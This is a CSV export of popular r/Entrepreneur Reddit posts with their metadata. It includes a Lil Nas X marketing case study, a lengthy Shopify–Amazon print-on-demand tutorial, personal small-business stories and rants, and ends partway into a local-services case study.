id,subreddit,title,selftext,author,score,num_comments,created_utc,permalink,url,domain,is_self,upvote_ratio,over_18,link_flair_text,_source,_fetched_at fj4czk,Entrepreneur,"Reselling essentials like toilet paper and water is not entrepreneurial, it is taking advantage of the needy. If this is you, please stop.",,an_onanist,13144,809,1584291305,/r/Entrepreneur/comments/fj4czk/reselling_essentials_like_toilet_paper_and_water/,https://www.reddit.com/r/Entrepreneur/comments/fj4czk/reselling_essentials_like_toilet_paper_and_water/,self.Entrepreneur,True,,,,, 7ekxi7,Entrepreneur,HEY! If anyone should care about NET NEUTRALITY it's this sub!,"Obviously consumers will be hugely disadvantaged by net neutrality going away. But for many small businesses it could mean massive restructuring, big cost increases and potentially shutting down altogether. Big companies will have enough volume and money to negotiate deals that keep them functional and profitable. But without net neutrality that is not guaranteed for small businesses that rely on the web. So please, [go here](https://www.battleforthenet.com/) and do your part. There's nothing better for a true entrepreneur than a free and open marketplace. Let's do it!",mcsharp,10243,370,1511296295,/r/Entrepreneur/comments/7ekxi7/hey_if_anyone_should_care_about_net_neutrality/,https://www.reddit.com/r/Entrepreneur/comments/7ekxi7/hey_if_anyone_should_care_about_net_neutrality/,self.Entrepreneur,True,,,,, eytom3,Entrepreneur,The marketing genius of Lil Nas X,"**TLDR -** Lil Nas X was a college dropout sleeping on his sister’s couch with a negative balance in his Wells Fargo account. 5 months later he'd broke Mariah Carey’s record for the most consecutive weeks at No. 1. This post tells the story: **Part 1** Most musicians think like failed startups. Too much time creating. Not enough time promoting. When Lil Nas X dropped out of college to pursue music he didn’t create much. Instead, he lived on Twitter, made online friends and got popular posting memes. His account quickly grew to 30,000 followers. The plan was to use his following to promote his music. But it wasn’t that simple. In Nas’s words: *I’d post a funny meme and get 2,000 retweets. Then I’d post a song and get 10.* So Nas got creative. He stopped tweeting SoundCloud links and started writing a song he could promote through memes. In his words: *It had to be short. It had to be catchy. It had to be funny.* *Old Town Road* was the result. And on the 3rd December 2018 Nas paired it with a video of a dancing cowboy and shared it with his followers ([see tweet](https://twitter.com/GoodMarketingHQ/status/1224708341064224773)). The video went viral. So Nas stuck to this formula: Short viral videos. To the tune of Old Town Road. With the full song linked underneath. As an unknown artist, it was the only way he could get the word out. And the views started piling up: **Part 2** Inspired by *Old Town Road's* success on Twitter it spread to TikTok, and then onto Billboard’s country music charts. Yes, the **country music charts**. Nas listed it as a country song aware that the charts were less competitive. One week later Billboard removed it for “not being a country song”. Ironically, this was the best thing that could have possibly happened. Billboard's decision turned *Old Town Road* into a national talking point and two weeks later it was No. 1. Nas wasn't stopping. He began lining up remixes with some of music's biggest stars. Billboard has a loophole whereby remix plays count towards the original song's chart placement. With every remix millions more streams poured in, and *Old Town Road* became impossible to budge. 17 weeks later he'd broke Mariah Carey’s record for the most consecutive weeks at No. 1. It’s easy to forget quite what an extraordinary achievement this is. Five months earlier, Nas was a college dropout sleeping on his sister’s couch with a negative balance in his Wells Fargo account. **Part 3** On my first day researching Old Town Road I read a quote from Nas: *A lot of people like to say “a kid accidentally got lucky”. No. This was no accident.* The more I learned about Nas the more I believed him. A key moment in *Old Town Road's* rise was a video of a man standing on a galloping horse going viral on Twitter. The audio was set to *Old Town Road*. Different versions of the video were viewed millions of times. I wanted to know how the video spread, so I did some digging and found it first posted on the 24th December: ([see tweet](https://twitter.com/GoodMarketingHQ/status/1224708356679577601)) I asked the Twitter user why he made the video. He told me that Nas sent it to him. But it doesn't end there. Aware that people watching the video would search for the full song, Nas changed the song title on YouTube and SoundCloud to include the lyric from the viral video — “I got the horses in the back”. He also posted on the [NameThatSong](https://www.reddit.com/r/NameThatSong/comments/acakf0/i_got_the_horses_in_the_back/) subreddit which ranked on Google. Now, anyone searching from the video had an easy route to the song. Things didn’t happen *to Nas*. Things happened *because of Nas* Virality is not mystical. The story of *Old Town Road* is not magical. Look behind the curtain: Nas is sitting in his underpants, on his sister's couch, iPhone in hand, making the whole thing happen. No one knew him. No one wanted to check out his song. No one promoted anything for him. He made friends, made them laugh, and built an audience. Then he packaged his song in a way that fit into their life. The rest is history. A final quote from Nas to end: *u can literally scroll down my account and see my promoting this fuckin song for months. each accomplishment it gets just makes all this shit feel so worth it. i can’t stop taking about it.* \*\*\* Thanks for reading. If you enjoyed it I share more real world marketing examples over on [MarketingExamples.com](https://MarketingExamples.com)",harrydry,5598,462,1580837838,/r/Entrepreneur/comments/eytom3/the_marketing_genius_of_lil_nas_x/,https://www.reddit.com/r/Entrepreneur/comments/eytom3/the_marketing_genius_of_lil_nas_x/,self.Entrepreneur,True,,,,, 5ob55t,Entrepreneur,"3 months ago I posted the exact process on how I sold $150,000 selling T-shirt on Amazon. I will now explain the exact steps you can take to earn your first $1,000,000 selling on Amazon via the Shopify integration with ZERO inventory.","A lot of you may recognize me from the post I did a few months ago regarding selling t-shirts on Amazon [https://www.reddit.com/r/Entrepreneur/comments/56xvo1/how_we_made_150000_profit_slinging_tshirts_as_a](https://www.reddit.com/r/Entrepreneur/comments/56xvo1/how_we_made_150000_profit_slinging_tshirts_as_a) and of course a ton of comments making jokes about the t shirt industry. Since Merch by Amazon (the program I was using in the old post), is still on lockdown, I am going to show you step by step how to take graphics/designs, and sell them on Amazon on 10’s if not 100 different kind of items by using the new Shopify Amazon integration combined with print on demand services to fulfill your orders. This means you can take action TODAY. Before any of you get on your pedestal about self promotion, yes, this did come from the [Merch Informer blog](https://merchinformer.com/shopify-amazon-merch-no-inventory-integration-guide/), and yes you can do this method I am about to lay out for you 100% without using any tools. If you want to learn something, continue reading. If not, continue on with your day. Let’s do it. **What Is Merch?** If you have been reading what I have been posting this last year, you may be thinking about Merch by Amazon where the focus was just t-shirts. Merch, however, goes a lot more broad than that. This can include anything from funny novelty t-shirts to flags you hang on your wall, to the yoga pants that are worn to the gym and everything in between. If you have sold on Amazon before, or pushed t-shirts and realized how many customers you have access to, then you know how lucrative it can be. Shirts are just the tip of the iceberg though. If you could start selling beach towels, coffee mugs, yoga pants, flags, and any other type of merch without ever seeing or touching inventory on Amazon, imagine how your earnings would explode overnight. **Why Merch?** [https://merchinformer.com/wp-content/uploads/2017/01/Amazon-revenue-1024x768.png](https://merchinformer.com/wp-content/uploads/2017/01/Amazon-revenue-1024x768.png) As you can see from the image above, Amazon is doing it’s very best to capture as much market share as it can. That is literally all they care about, grow bigger than everyone else! At the very end of 2015, they opened yet another program to attempt to take over another sector of the market: Merch by Amazon. This program was aimed at dominating the print on demand (POD) niche, and it was an overnight success. This program allowed everyday people and designers like you and I to put up original artwork and funny says on novelty t-shirts and sell them to Amazon customers without ever dealing with customer support or touching the actual product. Amazon sold, packaged, and shipped your products and gave the designer a royalty. Earnings from early adopters were absolutely massive and in some cases into the 100’s of thousands of dollars. Unfortunately, Amazon did not expect the monster growth of the Merch by Amazon program and quickly turned it into an invite only program. Recently they have been processing so many orders that they have completely stopped accepting people to the program and people who do have an account are not allowed to publish or are allowed to publish with restrictions. [https://merchinformer.com/wp-content/uploads/2017/01/online-retailers.png](https://merchinformer.com/wp-content/uploads/2017/01/online-retailers.png) You can see that if you want to make money online by selling apparel, you NEED to be selling on Amazon. There is really no other way around it. By 2020 they are going to be absolutely dominating the online market place and you have the chance to be a part of it. With Merch by Amazon closed to the public, and not wanting to deal with shipping items from China or dealing with a print shop for every order, what can be done? Fulfillment by Amazon is an option, but from our experience, not a very good good one. You would have to buy the products a head of time and send them to a ware house. With Merch by Amazon, we clearly know that selling Merch hands off is the way to go! [https://merchinformer.com/wp-content/uploads/2017/01/Amazon-Christmas.png](https://merchinformer.com/wp-content/uploads/2017/01/Amazon-Christmas.png) **Use Shopify To Sell Your Merch!** Many of you reading this are at least familiar with Shopify as a content management system and online store payment processor. From here, you will be able to put your products up for sale and sell them to customers who visit your site. With recent changes and Shopify integrating with Amazon, this 100% the way to go. Why? You will have access to not only T-shirts but…. * Tank Tops * Phone Cases * Beach Towels * Coffee Mugs * Cutting Boards * Stickers * Long Sleeves * Hoodies * Dog Bowls * Flags * Blankets * Mouse Pads * Shower Curtains and much more! Are you starting to see the big picture here? You can take the artwork that you created for shirts or other mediums, and turn a single image into 10s if not hundreds of different products that you will sell ON Amazon.com. No more handling inventory or trying to drive traffic to your store anymore. This is going to be a long one, so strap in, and let’s go over step by step on how to set up everything so you are no longer held back by Merch limits. **Shopify Amazon Print On Demand Method** To make this method work for you, you are going to need 4 things. * Understand Amazon BSR (Best Sellers Rank) and what sells best on Amazon * Designs/Artwork * Amazon Seller Account * Shopify Account Let’s go over how I get everything set up and then we will tie them all together. **Understanding What Sells on Amazon (Best Sellers Rank)** The very first thing you need to do before you start your journey is understand what sells best on Amazon, how to spot these items, and how to properly research the different niches you want to create merch around. There are two very key aspects that you need to have a solid understanding of to have any success. These are Amazon BSR or Best Sellers Rank, and the second is understanding Copyright/Trademark. **Amazon BSR (Best Sellers Rank)** Every single product that is sold on Amazon has something in the product information called the Best Sellers Rank or Amazon BSR. It will look very similar to this: https://merchinformer.com/wp-content/uploads/2017/01/BSR.png The BSR is a representation of how well that item is selling in its respective category. The smaller the number, the more items they are selling. The higher number, the fewer items they are selling. For example, if a shirt were to hit number 1 in clothing, it would be the most popular shirt selling on Amazon. From my experience selling, a BSR of around 100,000 in clothing equates to around 1 sale per day. This is not set in stone, but 100k BSR is usually what I focus my sites on when doing niche research. **Copyright/Trademark** You also need to have a full understanding that you are not allowed to infringe on someone else’s copyright or trademarks. This means that you are NOT allowed to simply copy someones design and put it up on another piece of merchandise. Doing so would be breaking copyright laws. If someone has a particular saying in their artwork that is selling particularly well, they might decide to trademark that term. This would mean that you are NOT allowed to use this term in any of your designs even if it looks completely different. Copyright and Trademark are both different beasts so make sure you are not infringing on someone else’s intellectual property. A lot of times, you might put something up on Amazon which then gets trademarked later on down the road. They can then use this trademark to come after you and the items you put up causing infractions and an entire mess. If you have thousands of products up like we do, this can be almost impossible to keep track of. If you are at all concerned about this, make sure you are checking daily. **Getting Designs/Artwork** When I first started, I created some designs myself. Since I am not a designer by trade, this took a lot of my time up and I had to actually watch some tutorials on YouTube to make sure I was using Photoshop correctly. Once I saw just how well my designs were selling on Amazon, I started to scale up very quickly and this meant getting a designer (or 5), on board to start cranking out original designs. Finding a good designer can be extremely hard. You want one that you can count on to be on time, every time. You also want a designer that has some integrity and will be original when you send them ideas. I have managed to hire my entire team of designers at full time for $4 per design each. This may just be personal experience but a lot of them from the Philippines and this really ads up to a great wage in that part of the world. I have found excellent success by using [Upwork](https://www.upwork.com). Upwork is a marketplace to post jobs you are interested in completing and then hiring freelancers. Below is the script that I used to hire each one of my designers. Hey, I am in need of 400 t-shirt designs in the time period of 2-3 months. > Your task will be pretty basic, I will send you ideas of t-shirts I want to make and you make them yourself in your own unique style. For example, I might send you a link of a already existing tshirt and I would need you to be inspired by it and create a better version that is in your own creative style. > > I will leave a lot of 5* reviews so that you will be able to get jobs easier in the future and this is a long-term position. Once we have done the first batch of 400 – around 4 per day, we could continue if everything looks good. > > I look forward to doing business with you! This works well for me because I always have a lot of designs for them to do because I am quickly scaling up so they will have some long term work from me. It also works well because a lot of very talented people are new to the Upwork platform and are trying to build up their profile to find other jobs. Lots of great reviews from you as a satisfied client can help them in this journey. What this means for you is that they are going to put the best effort forward in order to earn those 5 stars. **Quick Note: Weeding Out Bad Designers** When I first tried to hire someone to design for me, they stole images and straight up copied designs. This is wrong, and will get your Merch account banned. I was not able to use any of these designs. When I first hired someone, I let them know that they cannot use any images which are Copyrighted, or infringe on any Copyright someone else owns. Then, I will send them a T-Shirt idea that is very clearly Copyright infringement. If they copy it or do not change it enough to be considered free use, I will immediately get rid of that designer (and that design). The design may have cost me $4, but that is an extremely small price to pay to weed out the copycats! **Amazon Seller Account** The next piece of the puzzle that you are going to need is is an Amazon seller account. You can sign up for one here: [https://sellercentral.amazon.com](https://sellercentral.amazon.com) This will ask you to sign into your Amazon account and if you do not have one already, simply sign up for one. https://merchinformer.com/wp-content/uploads/2017/01/sign-up-for-Amazon.png Once you are signed up and logged in, there are few things you are going to want to do. First you will want to navigate to the upper right hand corner to “Settings” and then Account Information. It will bring you to a page that looks like this: https://merchinformer.com/wp-content/uploads/2017/01/information.png Fill out the Deposit information so that you are going to get paid, and the tax information. Feel free to change any of the other information but for now all that you need to change is how you get paid, and the tax information. Next, navigate to the left hand corner of that page where you should see a “Your Services” box. https://merchinformer.com/wp-content/uploads/2017/01/your-services.png Click on Manage and then upgrade your account to a Professional Account. https://merchinformer.com/wp-content/uploads/2017/01/your-services.png This offers you multiple benefits. It will cost you $39.99 a month, but… * No $0.99 Closing Fee for each item sold, only a monthly $39.99 subscription fee, referral fees and variable closing fees * Ability to collect US sales and use taxes on your orders * Customize your shipping rates and services levels for all products (except Books, Music, Videos and DVDs) * Manage your inventory using feeds, spreadsheets, and reports * Manage orders using order reports and order-related feeds * Access Amazon Marketplace Web Service to upload feeds, receive reports, and perform other API functions * Ability to offer Promotions and Gift Services * Eligibility for Featured Merchant status and listing placement in the Buy Box. Simply put, If you are selling more than 40 pieces of merchandise a month, you are much better off get a pro account so you have higher profit margins. For this method to work with shopify, a Pro account is REQUIRED. **Shopify Account** Getting a Shopify account is extremely easy and they have a 14 day FREE trial. Head on over to [Shopify.com](https://www.shopify.com/) and click on the get started box in the upper right hand corner. You will then just need to fill out your email address, password, and the store name you want to create. https://merchinformer.com/wp-content/uploads/2017/01/set-up-shopify-store.png Click on the big green create your store button and Shopify will start setting itself up. https://merchinformer.com/wp-content/uploads/2017/01/setting-up-a-store-300x177.png **Connecting Shopify and Amazon For No Inventory Fulfillment** Now that you have a fancy new Shopify store for free for the next 14 days, it is time to start taking advantage of what it has to offer. At first, your store will look just like this when you log in. https://merchinformer.com/wp-content/uploads/2017/01/brand-new-created-store-1024x631.png In the lower hand corner, you will see “Apps”. Click on this. https://merchinformer.com/wp-content/uploads/2017/01/apps.png What we are looking for here is an App that will fulfill all your orders for you. This is how we are going to print on demand without holding any inventory ourselves. Search for Teelaunch. It will bring up the page for this app that looks like this: https://merchinformer.com/wp-content/uploads/2017/01/teelaunch-app.png Click on the big green “get” button to install this app. You will need to quickly confirm that you want to install it on your shopify store. https://merchinformer.com/wp-content/uploads/2017/01/install-app.png Click on Install App and let it do its thing. Once the app is installed, go back to the left hand side menu, and click on Apps again. We are about to set up this app and add our first product. https://merchinformer.com/wp-content/uploads/2017/01/teelaunch-1024x164.png Once you click on the app, you should see this dashboard: https://merchinformer.com/wp-content/uploads/2017/01/new-product-1024x303.png Click on the Account button in the upper right hand corner. We want to make sure everything is set up to auto accept and fulfill orders. https://merchinformer.com/wp-content/uploads/2017/01/teelaunch-account.png https://merchinformer.com/wp-content/uploads/2017/01/teelaunch-account-1.png Fill out this page making sure that the top box says “YES”. You will need to add a credit card for the orders that you send Teelaunch. While you will be paying them the base price for the shirts and other merchandise orders you send them, you will be collecting the money from the sales in the Amazon central account. You will also need to set Shopify to NOT automatically fulfill orders. To do this, go into your Shopify settings -> Checkout and then in the Order processing section, unselect to automatically fulfill the order items. In most cases “Do not automatically fulfill any of the order’s line items” will be selected which is the setting you want. https://merchinformer.com/wp-content/uploads/2017/01/auto-fulfill-1024x513.png **Adding Your First Piece Of Merchandise** Now we are finally ready to add our first piece of merch. From the teelaunch app, you will want to click on “New Product” on the bar near the top of the page. https://merchinformer.com/wp-content/uploads/2017/01/shirt-choices-1024x425.png This is where you can see all the products that are available for you to put your designs on! Not only can you do shirts (which is what this entire tutorial is going to go over), but as mentioned above, there are so many other pieces of merch you can print and send to customers on Amazon. All without lifting a finger for the products yourself. Teelaunch will take the orders and ship them for you while you sit back and collect money off the designs and products! For this method, we are going to be using the Gildan Unisex shirt. As you can see I have chosen that one on the screen. Once a product is chosen, scroll down to the bottom and click on “Start Designing”. This will bring up the product information and give you a little information about the shipping costs. This is also the space where you can upload your artwork to the shirts and pick what sizes and colors you want the shirt to be available in. https://merchinformer.com/wp-content/uploads/2017/01/publish-design-1024x536.png As you can see, using this shirt, it will cost you $8.50 as a base price and $4 shipping. Click on “Choose File” to upload your design and then play around with dragging and dropping it as well as dragging the edges out so it displays properly on the shirt you want to list. I just took one of my Merch ready shirts to display how it would look. Pick a few colors and a few sizes. **Important**: You will need a separate UPC code for every single color and size variation you pick. I will go into this in detail further down, but it is best to not automatically select every color and every size. Once the design is looking good, click on Review and publish Designs. This will bring up a page where you can add product tags, add your selling price, title and description. https://merchinformer.com/wp-content/uploads/2017/01/setting-up-shirt-1024x535.png Once you are satisfied with how everything looks, go ahead and click on publish at the bottom of the page and your shirt will start processing in all the colors and variations that you have picked. https://merchinformer.com/wp-content/uploads/2017/01/processing-to-store-1024x328.png This can take a little while if you pick a lot of sizes and colors. As you can see from the above picture, I have 48 different variants of just this one shirt! Once it goes through all of them, your shirt is now published in the back end of your shopify store. https://merchinformer.com/wp-content/uploads/2017/01/shirt-uploaded.png The entire point is to publish your goods on Amazon though right? To do this, we need to connect them now. Go back to the main shopify menu and click on “Add a sales channel”. This is BRAND new from Shopify and why I am so excited! https://merchinformer.com/wp-content/uploads/2017/01/main-menu.png You can also find the same thing from the home page. It will be at the bottom. From the screenshot here, you can see you need to hit the install Amazon button to add this as a sales channel to your site. If you are new to shopify, you do NOT need to create an online store since we are interested in only selling your products on Amazon using a print on demand service (teelaunch). https://merchinformer.com/wp-content/uploads/2017/01/Amazon-Channel.png Once that is installed, you should see the sales channel added to the menu. https://merchinformer.com/wp-content/uploads/2017/01/Amazon-sales-channel.png Go ahead and click on it and it will more than likely ask you to update Amazon. This is what you want to go ahead and update the sales channel. https://merchinformer.com/wp-content/uploads/2017/01/update-amazon-plugin.png Once it is updated, you will be able to access the page. From here, you want to be able to connect shopify to your Amazon sellers account we set up earlier. https://merchinformer.com/wp-content/uploads/2017/01/connect-Amazon-account-1024x176.png Click on Connect to Amazon. There is going to be a popup about Amazon MWS. You will need to agree to this. Essentially this is giving Shopify access to your seller central account so they can interact with each other properly. https://merchinformer.com/wp-content/uploads/2017/01/agree-to-Amazon-MWS.png Once these are connected, you will see a screen that looks similar to this. You will see that the account is connected properly: https://merchinformer.com/wp-content/uploads/2017/01/account-set-up-1024x544.png Click on the Listings in the left hand corner. We want to take the shirt we just put online and then put that shirt we created in Teelaunch onto Amazon. https://merchinformer.com/wp-content/uploads/2017/01/sell-on-Amazon-1024x405.png Click on the sell on Amazon button. This will bring up a list of the products that you have on Shopify that you may want to sell on Amazon. Since we used Teelaunch to create a shirt, this is what is going to come up in the list. https://merchinformer.com/wp-content/uploads/2017/01/select-product-1024x419.png After you select the product that you want to list on Amazon, they are going to ask you if you are selling a product from another brand, or from your own brand. Select your own brand. **Note:** For all the Merch by Amazon users, this is your first real opportunity to build a coherent brand and put work into growing your brand on multiple sales channels. You have full control here and will even be able to respond to the reviews you get! https://merchinformer.com/wp-content/uploads/2017/01/select-your-brand-1024x326.png When you pick that the product is made by your brand, you are going to come to the Amazon listing details. This is going to look very familiar to you if you have sold shirts on Merch before. https://merchinformer.com/wp-content/uploads/2017/01/Amazon-Listing-Details-1024x540.png Enter in the title, your brand name, the bullet points, and description. You will need to pick a category and will notice that you cannot sell the shirt for both genders at the same time. That is perfectly fine, you can go back after the shirt is live, and then sell the other genders version under the same listing. Finally, when you scroll down, you will see variants that you have chosen when you were creating the shirt. There will be one for every color and size combo that you created. https://merchinformer.com/wp-content/uploads/2017/01/Shirt-Varients.png For each variant, go through and make sure the correct colored image is showing up for the title of that variant. As you can see from the above screenshot, I made sure the Royal Blue image is showing for the royal blue variant of the shirt. **SKU** You will need a unique sku for every single varient of your shirt. Your visitors will never see the SKU or the UPC, but Amazon requires you to enter this information in for every shirt Variant. For the SKU, head on over to [https://www.random.org/strings/](https://www.random.org/strings/) and select the following options and click go. You can generate however many strings you need by modifying the first box. https://merchinformer.com/wp-content/uploads/2017/01/use-for-SKUs-1024x622.png You can use each line as one of your SKUs. **UPC** Each product and variant must have its own UPC code. These are 12 digit codes. If you have sold on Amazon FBA before, you may have used EAN. So far with the Shopify integration, these will not work so you will need the 12 digit UPC. I highly recommend buying these on Ebay. You can get 1000’s of them for only a few dollars. Once you have them, enter a unique UPC for every variant of the product. **Clothing and Apparel Category Approval** You will notice that Shopify tells you that you need approval from Amazon before you can list in this category. Click on the “apply to sell in this category” link and open it in a new tab. Make sure you answer truthfully to these, but you will be auto approved in the end! https://merchinformer.com/wp-content/uploads/2017/01/apply-to-category.png https://merchinformer.com/wp-content/uploads/2017/01/apply-to-category-2.jpg The next step is going to be answering some questions about the images you will use. Go through the questionnaire and make sure you answer them all properly. Remember that the images you will be using are being pulled from Teelaunch so they are all good to go with Amazon’s requirements. https://merchinformer.com/wp-content/uploads/2017/01/Amazon-image-requirements-1024x515.png After that is complete, fill out the information and submit your application! https://merchinformer.com/wp-content/uploads/2017/01/submit-clothing-application.png After you hit Submit Application you will now be instantly approved and can go back to your shirt listing you were working on in the other tab! **Finishing Amazon Listing** Now that you have your SKUs and UPCs listed on each variant of the product, it is now time to submit your product listing. If everything has been entered properly, your listing will go through! https://merchinformer.com/wp-content/uploads/2017/01/listing-created-30-min-to-live-1024x173.png As you can see from the image above, the listing has been successfully submitted to Amazon. Your listing should be listed in a pending status. This generally will change within 30 minutes to live and you will have a link to your product on Amazon.com. **Note On Shipping** When your product finally goes live and you check it, you might notice that the shipping is higher than you expected. Well, you can change this! The shipping is all controlled within your Amazon seller central account. Head on over to your Amazon account and find the Shipping Settings and then Shipping Templates. Click on Edit Template and then you will be able to pick what type of shipping you will charge your customers. As you can see from the screenshot, I decided to change shipping from $4.49 for everyone, to $2.99 for the lower 48 states. https://merchinformer.com/wp-content/uploads/2017/01/shipping-times-1024x461.png **ROI Calculations** This is going to vary per shirt depending on what you price at. Keep in mind that with certain products you may be making a lot larger percentage. You might be making 100% ROI with yoga mats for example. For shirts though, if you are pricing at 17 dollars, and charging 3 dollars shipping, then the total charge will be around $20. With Amazon fees around $3, and the t-shirt costing you $12.50 (cost of the shirt plus shipping) and a 30c Shopify fee, this leaves you around $4.25 profit for something you never touched! Scale that up by a few hundred if not thousands of shirts you are making great money. Scale it up even further with the multitude of products you can reuse your designs on, and now you are talking about MASSIVE money, all from your original designs. **Getting Your First Sale on Shopify with Amazon** Now with your listings live, you are probably going to get some sales. When you get a sale, they will show up in Shopify (as well as seller central). Make sure you are only dealing with the orders through Shopify though. https://merchinformer.com/wp-content/uploads/2017/01/first-order.png Getting your first order feels great! What is even better though is that from here it is 100% hands off. If you go back down to apps and then go into the Teelaunch app, you should see this: https://merchinformer.com/wp-content/uploads/2017/01/teelaunch-production-1024x360.png Without touching it, your shirt is now being made with Teelaunch and will be shipped to your customer as soon as it is complete. This is possible for t shirts and all other products that teelaunch offers. **Fulfilling Orders Manually** If your orders are not automatically going through to Teelaunch, you will need to do them manually. The only reason this may be happening is that the Shopify/Amazon integration is BRAND NEW and I have been assured by higher ups that this is being worked on and will be fixed soon if anyone does encounter it. [https://www.youtube.com/watch?v=qF9EMFzsXOI](https://www.youtube.com/watch?v=qF9EMFzsXOI) **Getting Revenue From Amazon** In order to get your money from your seller account on Amazon to your bank account, you need to have a few things. The first thing is that you must have valid credit card information on file for verification and billing purposes. This is why you added this when you set up your seller account. The second thing you must have is valid bank account information so a transfer can occur. This can be added in the “my profile” section of your seller central account. Basically the way it will work is that after you get a sale, it will show up in your Shopify account. Once the order is marked “fulfilled”, the buyer will be emailed to let them know that their product is on the way. The funds held within Amazon will be deposited to your account every 14 days. The good news is that you can request funds faster than that! Here is what Amazon has to say on the subject. https://merchinformer.com/wp-content/uploads/2017/01/amazon-payment.png **Wrapping It Up** The Shopify/Amazon integration represents a REAL massive opportunity in the print on demand space and is going to see plenty of people make millions of dollars a year. In order to take advantage of this opportunity successfully you need only a few things: * Know what sells on Amazon * Be willing to WORK and scale your business * Know how to properly optimize your Amazon listings If you are not hopping on this opportunity today, you are 100% leaving money on the table that is there for the taking. There is zero need to run traffic, zero inventory to hold, and 100’s if not 1000’s of possibilities for making money with the crazy selection of products you can now put for sale on Amazon. That about raps it up ladies and gentlemen. Any questions ask them below. ",W1ZZ4RD,5573,1421,1484577519,/r/Entrepreneur/comments/5ob55t/3_months_ago_i_posted_the_exact_process_on_how_i/,https://www.reddit.com/r/Entrepreneur/comments/5ob55t/3_months_ago_i_posted_the_exact_process_on_how_i/,self.Entrepreneur,True,,,,, nmgpiv,Entrepreneur,This sub is dogshit and most of the people in it are wankers or sociopaths.,[removed],KeldorEternia,5211,503,1622147070,/r/Entrepreneur/comments/nmgpiv/this_sub_is_dogshit_and_most_of_the_people_in_it/,https://www.reddit.com/r/Entrepreneur/comments/nmgpiv/this_sub_is_dogshit_and_most_of_the_people_in_it/,self.Entrepreneur,True,,,,, zxbyob,Entrepreneur,"I started my business with 25$,now I make 5$ a day as profit.","Hello from Tanzania,East Africa. Sorry for my English,I have been I this sub for a while and it is very useful and inspiring. I survive my selling coffee in my area,it's just a very busy area with a table and benches for people to sit. It's very common setting in Tanzania. I sell black coffee and ginger tea which is like 100Tsh per cup. From starting with only 25$ as a capital untill now I managed save up to 250$ dollars . Although it's tough as I live in a very tight budget to save this. I'm Targeting to a have a nice place and buy an espresso machine. I just wanted to share my entrepreneur story. Thanks",ubuntrux,4936,525,1672240301,/r/Entrepreneur/comments/zxbyob/i_started_my_business_with_25now_i_make_5_a_day/,https://www.reddit.com/r/Entrepreneur/comments/zxbyob/i_started_my_business_with_25now_i_make_5_a_day/,self.Entrepreneur,True,,,,, 9p8g63,Entrepreneur,So I'm done with all this #hustle lifestyle,"<rant> I see the hastag #hustle #grinding and I start to laugh at the images that appear. Sexy girls, stupid motivation quotes, cool cars, wealthy lifestyles... What an amout of crap. Its all so stupid, we are getting fed that the idea of a successful entrepreneur is to have expensive cars and hot girls dancing arround while making pasive money all day. And the reality of a successful entrepreneur is fucking insomnia, solitude, dealing with stupid clients, deadlines, investors behind your back tracking everything, mad girlfriends, 0 free time... Of course there are entrepreneurs living life and earning sexy money. But not everyone. 97% don't. When im ""sidehustling"" at home after a long 8h of working and check instagram to see this kind of shit.. it makes me laugh. Shoutout to all grinding dads that sidehustle for a better family future. </rant> EDIT: Thanks for the goldie random hard worker(s)! My ~~first~~ SECOND goddamn.",rektgod,3910,586,1539862685,/r/Entrepreneur/comments/9p8g63/so_im_done_with_all_this_hustle_lifestyle/,https://www.reddit.com/r/Entrepreneur/comments/9p8g63/so_im_done_with_all_this_hustle_lifestyle/,self.Entrepreneur,True,,,,, 5lfy6n,Entrepreneur,4 years ago I wrote a case study on reddit on my $4k per month local business. I've since built that company into a multi-million dollar company and the redditors that followed are now doing a combined $50 million dollars per year! Updated case study and AMA.,"4 Years ago I wrote [this post](https://www.reddit.com/r/Entrepreneur/comments/sblc6/from_an_idea_to_replacing_my_fulltime_salary_in_4/) about me making $4k per month and then turned it into a [case study](https://www.reddit.com/r/EntrepreneurRideAlong/comments/tltuy/day_26_from_zero_to_website_launcha_recap_of/) on how to build local service businesses. A couple hundred people from Reddit followed along to build companies and those companies now do a combined $50 million per year! If you want to start something in 2017, I've updated the case study a bit below. ------------------------------------------------------------------------------------------ Note: This is local service business. Not sexy enough for most of you and that's fine. But I have not found a more predictable path to building a million dollar business than this and I’ve built [several](https://www.reddit.com/r/Entrepreneur/comments/2h1mlt/the_inner_workings_of_a_subscription_box_company/), [successful](https://www.reddit.com/r/Entrepreneur/comments/3r8hzo/so_were_now_over_2_million_per_year_in_combined/), [businesses](https://launch27.baremetrics.com/) so far. **WHY LOCAL SERVICES?** Frankly, there is a TON of money to be made. These are huge markets in terms of $$$. However, unlike regular e-commerce companies where you are competing with the best internet marketing people in the world, with local services you're competing with just the people in your neighborhood, most of whom do not understand internet marketing at all. And on top of this we come with a crazy advantage with online booking that 99% of the companies don't have. Imagine a store that sells simple things but for some reason nobody in the industry allows you to purchase online. Well a bunch of redditors are changing that in cities all around the world, and crushing it. And that’s why we have been able to take such a big chunk out of the industry so quickly. My goal is for this network to grow from $50 million a year to $1 billion in the next 5 years. I think it’s possible. A few screenshots from some of the folks that followed along... Here’s [one guy](https://www.dropbox.com/s/i2609k624qj2qc9/Screenshot%202016-12-31%2014.02.02.png?dl=0), and [another](https://www.dropbox.com/s/v73zcagsengj90x/Screenshot%202016-12-31%2022.04.30.png?dl=0) , and [another](https://www.dropbox.com/s/6ftvsk3w0knnifo/Screenshot%202016-12-31%2014.04.58.png?dl=0), and [another](https://www.dropbox.com/s/3eapt4but2f5j3k/Screenshot%202016-12-31%2014.06.09.png?dl=0), and [another](https://www.dropbox.com/s/o1qx5hegko6wk29/Screenshot%202016-12-31%2022.03.32.png?dl=0), and [another](https://www.dropbox.com/s/029u38n5iyzeb9r/Screenshot%202016-12-31%2015.59.14.png?dl=0 ) ...shoot the last one was launched by a 19 year old kid, they got to $2mil per year in 2 ½ years. Shoot, it took me 3 years to get $2mil per year. Bastards! haha When you add all the companies up, it’s $50 million per year and most started less than 3 years ago. I have the raw data for that $50 million number btw, and we're working with someone from r/dataisbeautiful to go through it and create something to compare revenues, figure out growth rates, correlations with city sizes etc. Will make another post on that when it's done in a week or two. ----------------------------------------------------------------------------------------------- **WILL THIS WORK FOR EVERYONE?** Nope. But if you have hustle and been trying to come up with “business ideas” or haven’t figured out that sexy mobile app you’ve been dreaming about, then read on for how to build the most annoying (yet fast growing company) you can imagine. This isn't just me saying this btw, the [fastest growing Ycombinator company](https://twitter.com/paulg/status/341229908078501890) (before they jacked it up) was also a home cleaning company. ---------------- **OKAY ON TO THE CASE STUDY: HERE'S HOW TO FINALLY START SOMETHING IN 2017** Before you get started: Try to do just do one thing per day, even if it’s just reading an article, or it will get overwhelming. This is going to be a slow steady candle burning, not a quick passionate flash fire that burns out. Here goes: **Sunday, Jan 1st, 2017** That's today. 